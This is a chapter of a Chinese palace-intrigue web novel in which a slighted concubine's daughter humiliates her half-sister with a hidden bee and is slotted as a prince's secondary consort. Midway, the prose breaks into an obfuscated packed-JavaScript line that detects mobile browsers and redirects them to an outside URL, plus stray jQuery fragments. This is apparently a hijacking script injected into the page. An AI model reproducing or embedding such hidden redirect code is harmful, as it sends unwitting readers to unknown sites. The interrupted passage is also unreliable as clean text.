柳含霏凑近她,低声说道。
远远看去,两人都笑着说话,任谁来看都可以称得上一句姐妹情深。
柳清卉不着痕迹地离她远点,“托二姐的福,可以来牡丹园赏花。”
她眼角余光看见一朵魏紫牡丹的花瓣处有一点黄黑,便状似诚心地夸赞道:“今日二姐打扮甚美,”她将手中的魏紫随手扔回了花圃,俯身将瞧见的那朵魏紫折了枝条,起身插在柳含霏鬓间,“这魏紫比起二姐都逊色不少。”
柳含霏心里狐疑,上下打量她,在心里想,她又要打什么鬼主意。
没反应,没反应好啊,柳清卉假笑里添了几分真,绕过她从众人看不见的地方转而走到能看见的地方。
果然还没反应的柳含霏下意识跟着她转换方向,足够让众人都能看见她鬓间簪花的面孔。
离得近的小姐们都开始夸赞柳含霏,礼貌恭维她。
柳含霏被夸得有点自得,抬起手摸向鬓间的牡丹。
柳清卉默数:三、二、一
“啊!!!!”柳含霏突然大喊。
眼下她根本顾不得遵循礼仪。
因为从她鬓间牡丹的花瓣中突然冒出了一只蜜蜂,蛰在她的手上,又突然蛰在她的额头上!
她的额头从一点红变得不断肿大,额间的刺痛感迫使她蹲下身子,并伴有轻微抽搐。
众人眼见不对,立即将柳含霏围住查看发生何事。
柳清卉距离她最近,抢先关心道:“二姐,二姐你怎么了?”
柳含霏一只手捂着额头,一只手哆嗦地指着柳清卉。
柳清卉手中拿着帕子,隔着帕子握住她的那根手指,假惺惺道:“二姐放心,妹妹在这绝对不会让你发生危险。”
柳含霏气道:“你你----”
太医院提点之女白雨眠走近,将柳含霏捂额头的手拿开,定睛一看,惊呼:“这是让蜜蜂蛰了!快叫太医!”
牡丹园的宫女得到吩咐立即赶往太医院。
“哪来的蜜蜂那么不会看人,谁都敢蛰……可怜我的二姐好端端地站在那儿,平白无故地就叫它给蛰了……”柳清卉努力让眼角流出几滴泪。
接着她懊恼地说“都怪我,若不是我……”
“柳小姐,这件事怎么能怪你呢,谁也不会想到花瓣中还藏着蜜蜂。”
“对呀,我们赏花时从来未曾见过有蜜蜂。”
“我相信含霏她不会怪你的。”
离柳清卉近的几名女眷转而安慰她,希望她不要再自责。事情突然发生,谁又能预料到那花中藏着蜜蜂。
怡妃还未进牡丹园,远远便看到闹哄哄乱作一团的人。“何事发生,怎么如此吵闹?!”
“怡妃娘娘千岁。”女眷们纷纷行礼。
柳含霏挣扎着站起,费力地行礼,因此怡妃轻易就能看见她的脸。
离怡妃最近的女眷回话:“启禀娘娘,是柳家二小姐被花间蜜蜂蛰了。”
怡妃厌烦地看了柳含霏一眼,不耐地摆摆手,“太医呢?来人,扶到偏殿去。”
两名宫女立即架着柳含霏去往偏殿。
“移驾翊坤宫后殿。”怡妃说。
宫女、嬷嬷、女官们簇拥着怡妃,众女眷分成两列跟在身后。
柳清卉站在尾端,瞥见一名嬷嬷在经过她方才站的角落不远处的假山时,趁人不注意用手指骨轻扣两下假石。
假山堆摆放着交错的假石,形成一个天然门帘,所有人都没有注意它。
等柳清卉走到那假山旁,好像有人故意而为,假石空隙间清晰闪过一片靛蓝色的衣摆。
分明是男子衣物……是丰王殿下陆照昀!
柳清卉陡然意识到。
想必是怡妃早有安排,让他躲在假山后暗中观察众女眷的言行举止,为之后的丰王妃人选早做打算。
可如若他早早就躲在假山后,那他定能看见方才一幕,估计也能猜到是她故意而为……
柳清卉暗道麻烦,她并不想吸引他的注意。
翊坤宫后殿位于牡丹园北方,殿门大开即能一览牡丹园美景。
柳清卉由宫女引至右列五席而坐。左列三席是空置的,她猜那应该是柳含霏的坐席。
怡妃见众人全部落座,开口说道:“不知各位最喜爱什么样的牡丹,牡丹千姿,却又转眼凋零,不如绣在绢上,留下最美的模样。”
“各位的案几上都放着素娟,绣得最好的人赏点翠镶红宝宫花一对。”怡妃说。
柳清卉拿起素娟,注意到绢尾处有数字,银白色的丝线绣着“十”。
她不喜欢丰王,也不想当王妃,便随便绣了一朵最普通的凤丹白牡丹,并且故意在几个针脚处绣得粗疏。
一炷香后,所有闺阁小姐都已绣好牡丹,宫女们将之呈给怡妃身边的女官。
怡妃向身旁使了个眼色,宫女便弯身给她倒茶,不小心洒出来,茶汤聚在案几上一小摊。
宫女立即跪下求饶:“怡妃娘娘饶命,奴婢不是故意的。”
怡妃见身上华服并没有被沾染上,还算满意,“下去吧。”转而对众女眷说:“各位相谈,本宫先去更衣。”
几名女官手中拿着一摞牡丹绢帕,跟着怡妃去翊坤宫偏殿。
丰王陆照昀早早就等在偏殿中。
女官们将一摞摞绢帕放在陆照昀面前,怡妃说:“看看吧,有没有中意的世家小姐。”
陆照昀随意拿起一张,扔在地上,再拿起一张又看也不看,直接扔在地上。
怡妃可惜地说:“这些牡丹绣得多好啊,到你手中却只落了个被糟蹋的命运。”
宫女将地上的绢帕捡起。
怡妃挑出一角绣着“三”的绢帕,牡丹绣得针脚密实,颜色选取的也很好,“就这个吧,礼部尚书之女。”
陆照昀说:“我不同意。”
怡妃顿时气道:“怎么?你有看上的女子了,如果没有……”
陆照昀打断她:“自然。”
“……那就按我说的做。”怡妃说完才意识到他刚才说的话,疑惑问道:“谁?”
“兵部尚书之女柳清卉。”陆照昀懒懒开口。
她和他的性格多相似啊,都不是什么好人,理应是一丘之貉。
如若将她放在王府中,生活肯定会变得很有趣。
怡妃想了半天,才想起柳清卉的模样,“长得是很漂亮,可惜只是个庶女,母家还是商贾之家。”
见他眉眼压低,一脸不悦,怡妃才补充说:“她的身份低微,你迎娶了正室后,可以将她纳作偏房。”
陆照昀勉强同意:“行吧。”
“等你娶妻生子,除掉小皇帝,朝中保皇党便会拥护你称帝。”怡妃笑着说:“他陆山朗就算再有什么能耐,想要皇位也终究是名不正言不顺。”
女官找出绣着“十”的柳清卉绣得绢帕,呈给怡妃。
怡妃两指捏起绢帕,不由皱眉,“这绣得什么,绣娘呢,重新绣一朵。”
绣娘忙按怡妃吩咐重新绣了一朵好的牡丹,因此耽搁了些时辰。
“今日,牡丹绣得最佳者为礼部尚书嫡女姜玉叶。”女官边向众人展示姜玉叶绣得绢帕边说:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239437|181888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“赏点翠镶红宝宫花一对。”
宫女端着匣子呈给姜玉叶。
姜玉叶难掩惊喜,双手接过,“谢贵妃娘娘赏赐。”
柳清卉看出来丰王妃应该就是姜玉叶,有些怜悯地想,不知对她来说是福是祸。
女官接着说道:“念兵部尚书庶女柳清卉绣艺不分上下,特赐点翠镶蓝宝宫花一对。”
女官手中拿的牡丹绣帕分明不是她绣的!
谁绣的牡丹得了赏赐,就暗示着谁被选中为王妃,而她得了稍逊的宫花,那就意味着怡妃和丰王属意让她做偏房!
这是对她的羞辱!
柳清卉心中气愤,面上不显,“谢贵妃娘娘赏赐。”
宴席上一片祥和,殿内两侧有乐官演奏,宫女为每位女眷端上粉彩小碟,碟上摆着精致可口的糕点。
柳清卉微笑,手中却用力拿着象牙签将糕点戳得面目全非。她将它想象成怡妃和丰王,直到它已经变成了面粉状才罢休。
一个时辰后,牡丹宴结束。
宫道上,柳清卉又看见了那片靛蓝色的衣摆。见亲王要行礼,她只能驻足。
陆照昀迎上前,“柳姑娘,好巧。”
“不巧,丰王不是特意在这里等我吗。”对付这种恬不知耻的人,柳清卉一点好脸色都不想给。
“柳姑娘猜得真准,本王的确是特意在这里等你。”
“何事?”
“本王今日偶得一镶金绿孔雀珠钗,见之即想到一人,不知可否有幸送给姑娘?”陆照昀从缎绣荷包中拿出,递给她。
柳清卉接过,的确是珍宝,于是对他展颜一笑。
却随意得将其投掷进远处的艾草丛中,转过身后作诚惶诚恐的样子说:“丰王殿下恕罪,臣女不小心没拿住。”
说完也不顾他的反应,直接带着沁梅和云霞出宫。
回到柳府,沁梅才将憋在心里的话说出口:“还好小姐今日出门前佩戴了云霞配制的驱虫锦囊。”她痛快地说:“终于让二小姐吃了苦头。”
云霞泼冷水,“别高兴得太早,回府后她一定会告状,兴许还会添油加醋一番。”
“那可怎么办啊,小姐金枝玉叶的身体可受不了责罚……”沁梅泄气。
柳清卉心生一计,“到时候我……云霞……沁梅……”
两人认真听着,明白怎么做了。
申时,柳夫人身边的桃红来了。
“三小姐在吗?老爷夫人让她去正堂。”她没进院落,只在门口对来开门的沁梅说话。
三小姐的院落从门口就能看出实在是太破了,自从二夫人去世,这院落便几乎无人会来。柳老爷更是一步未曾踏足过,权当没有三小姐。
大小姐与二小姐都为柳夫人所生。
柳老爷去冀州办差时,遇见了商贾出身的二夫人。二夫人对柳老爷一见倾心,抛却了娘家,只一心要入柳府。
可柳老爷并不爱她,甚至越加厌烦。
二夫人生下三小姐后因身子虚弱去世,柳老爷只觉得恢复了清静。
二夫人带来的丫鬟、嬷嬷们全都是白眼狼,跑光了。
柳夫人一片慈悲,不忍新生生命逝去,常吩咐下人去二夫人院落给三小姐喂食。
可下人们都是一些只知好处的人,每每只会敷衍了事。
柳夫人不待见也不会去见三小姐,照顾的下人便越发肆无忌惮,三小姐常常整夜哭啼,又因地处偏僻,没有主子能听见。
于是柳清卉六岁前就这样在府中生活。
“跪下!”柳清卉刚进正堂就听柳老爷喊道。